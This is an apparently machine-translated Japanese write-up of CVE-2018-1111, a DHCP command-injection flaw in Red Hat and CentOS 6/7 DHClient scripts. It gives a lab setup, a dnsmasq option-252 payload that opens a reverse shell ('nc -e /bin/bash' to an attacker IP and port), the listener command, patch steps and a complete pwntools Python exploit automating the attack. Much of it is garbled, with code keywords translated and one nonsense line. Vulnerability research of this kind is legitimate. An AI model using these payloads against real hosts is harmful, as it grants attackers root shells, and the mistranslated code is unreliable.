0x01脆弱性の概要
最近、Red Hatはセキュリティアップデートを正式にリリースし、CVE-2018-1111の番号付けされたリモートコード実行の脆弱性を修正しました。攻撃者は、DHCPサーバーを偽造して応答パケットを送信し、Red Hatシステムを攻撃し、ルートアクセス許可を取得し、任意のコマンドを実行できます。
0x02影響バージョン
Red Hat Enterprise Linux Server 6
Red Hat Enterprise Linux Server 7
Centos 6
Centos 7
0x03脆弱性の詳細
DHCPは、主に内部ネットワークでの動的IPアドレス割り当てに使用されるLANのネットワークプロトコルです。 Red Hatが提供するDHCPクライアントパッケージDHClientのスクリプトは/etc/networkmanager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)および/etc/networkmanager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);このスクリプトは、NetworkManagerコンポーネントがDHCPサーバーからDHCP応答を受信するときに実行されます。
単一の引用符を使用してパラメーター値を正常にエスケープし、コマンドの実行を実現します
-dhcp-option='252、x'nc -e /bin /bash 10.1.1.1 1337#'
0x04脆弱性の再発
は、再現するときに注意してください。
1.両方の仮想マシンをホスト専用モードに設定する必要があります
2。ホストモードLS8 Z(D/M0〜J2 F9 LでDHCPサービスを無効にする
環境
攻撃航空機:Kali 2018.2
被害者マシン:Centos7
Tsinghua Mirror SiteでCentos 7をダウンロードします
https://mirrors.tuna.tsinghua.edu.cn/centos/7.4.1708/isos/x86_64/centos-7-x86_64-dvd-1708.iso
VMware12.0
ネットワークをセットアップ
ここでは、VMware仮想マシンを使用して実装します。両方のシステムは、VMNET1ネットワークカード(ホストモードのみ)に接続され、ネットワークカードをオフにします。
DHCPサービス。
次に、kali、dnsmasqでDHCPサーバーの構成を開始します
これは、DNSとDHCPを構成するためのコンパクトで便利なツールです。小さなネットワークに適しています。 DNS機能とオプションのDHCP機能を提供して、DNSサービスまたはDHCPサービスを迅速に構築します。
kali
を構成します最初に、Kaliの下でIPを静的に構成し、ルートを追加します。コマンドは次のとおりです。
ifconfig eth0 192.168.71.5netmask
255.255.255.0
ルートAddDefaultGW192.168.71.5
まず、DNSMasqで使用する必要がある構成ファイル /etc/dnsmasq.confを作成します。コンテンツは次のとおりです。
vim /etc/dnssmassq.conf
バインドインターフェイス
インターフェイス=eth0
Interface=loを除く
DHCP-RANGE=192.168.71.10,192.168.71.30,22H
DHCP-Option=3,192.168.131.5
DHCP-Option=6,192.168.131.5
ログQueries
log-facility=/var/log/dnsmasq.log
パラメーター説明:
DHCP-RANGE:は、クライアントに割り当てるIPアドレスの範囲とリース時間を示します
DHCP-OPTION:は、DHCPクライアントに割り当てられたオプション情報を示します
log-facility:はロガーを表します
構成ファイルに含まれるオプションの値と意味は次のとおりです。
3:ゲートウェイアドレスオプションを設定します
6: DNSサーバーアドレスオプションを設定します
252:は、DHCPクライアントがプロキシ設定を構成するためのURLを提供しますwpad-proxy-url
ペイロードに関与するオプション252は、DHCPサーバーに252を使用して、ブラウザでDHCPサーバーに通知する機能を記述し、このオプションにリストされているURLからネットワーク上のプロキシ設定に関する情報を取得するためにコード252を使用して、プライベート使用予約部品の一部です。
ここでは、dnsmasq.confにdhcp-rangeを設定します
これは、192.168.71.10-192.168.71.30/24のIPアドレス範囲であり、リース時間は12時間です。
DHCP-Option 3ゲートウェイアドレスとDHCP-Option 6
DNSサーバーは、KaliローカルネットワークカードのIPアドレスに設定され、KaliのIPアドレスは静的IPです。 /etc/dnsmasq.conf構成ファイルを変更した後、DNSMASQサービスを直接開始することはできません。
DNSMASQを使用してDNSサーバーを偽造し、次のようにコマンドペイロードを実行します。
dnsmasq -dc dnsmasq.conf
-dhcp-option='252、malayke'nc -e /bin /bash 192.168.71.5 6666#'
ここで-dはデバッグモードを表し、-cは指定された構成ファイルを表し、DNSMASQサービスを実行します。 DNSMASQコマンドのより詳細な説明については、Man DNSMASQを使用して表示できます。
コマンド実行の効果は、NCを介してシェルを192.168.71.5のポート6666にバウンスすることです。したがって、KALIでNCポート監視を有効にする必要があります。コマンドは次のとおりです。
NC-L-P6666-V
攻撃
IPアドレスを取得してネットワークカードを再起動するためにDHCPにCentosを設定しました!現時点では、CentOSはネットワークサービスを再起動し、DHCPサーバーが発行したIPアドレスを取得する必要があります。ここでは、IPアドレスが取得されたことがわかります192.168.71.18
コマンドは次のとおりです。
/etc/init.d/network再起動
IPが取得されたことが示されています。ここKaliで何が起こったのか見てみましょう
この時点で、KaliのNCでは、Centosシェルを取得でき、ルート許可があります
0x05脆弱性原理
単一の引用がスクリプトで逃げ出し、ルート許可を使用してスクリプトを直接実行しました。
dhcp-option=” 252、x’nc-e/bin/bash10.1.1.11337#”
0x06修復方法
#yum update dhclient
#RPM -QA -CHANGELOG DHCLIENT |グレップ
CVE-2018- Resolves:#1570898-CVE-2018-1111:を解析しないでください
エスケープキャラクターとしてのバックスラッシュ
ox7はexp
を利用します#/usr/bin/python
#encoding=utf-8
PWNインポートから *
OSをインポートします
sysをインポートします
インポート時間
#著者: xyzz@chamd5.org
#時間: 20180520
IP='192.168.131.52'
ポート=1314
#context.log_level='debug'
DEF PWN(IP、ポート):
f=open( 'dnsmasq.conf'、 'w')
start=ip [:ip.rfind( '。')]+'。10'
end=ip [:ip.rfind( '。')]+'。30'
dnsmasq='' '
バインドインターフェイス
インターフェイス=eth0
Interface=loを除く
dhcp-range={start}、{end}、22h
dhcp-option=3、{ip}
dhcp-option=6、{ip}
ログQueries
log-facility=/var/log/dnsmasq.log
'' .format(ip=ip、start=start、end=end)
f.write(dnsmasq)
f.close()
cm=[]
cm.append( 'ifconfig eth0 {ip} netmask 255.255.255.0' .format(ip=ip)))
cm.append( 'ルート追加gw {ip}'。フォーマット(ip=ip))
cm.append( '' 'dnsmasq -dc dnsmasq.conf
-dhcp-option='252、' nc -e /bin /bash {ip} {port}
# '' '。フォーマット(ip=ip、port=port))
q=process( 'bash')
範囲のi(len(cm)-1):の場合
Q.sendline(cm [i])
time.sleep(1)
#time.sleep(100)
p=process( 'bash')
p.sendline( 'nc -l -p {port} -v'.format(port=port))
Q.Sendline(CM [-1])
time.sleep(3)
p.interactive()
#q.interactive()
__name__=='__main __' :の場合
PWN(IP、ポート)
Recommended Comments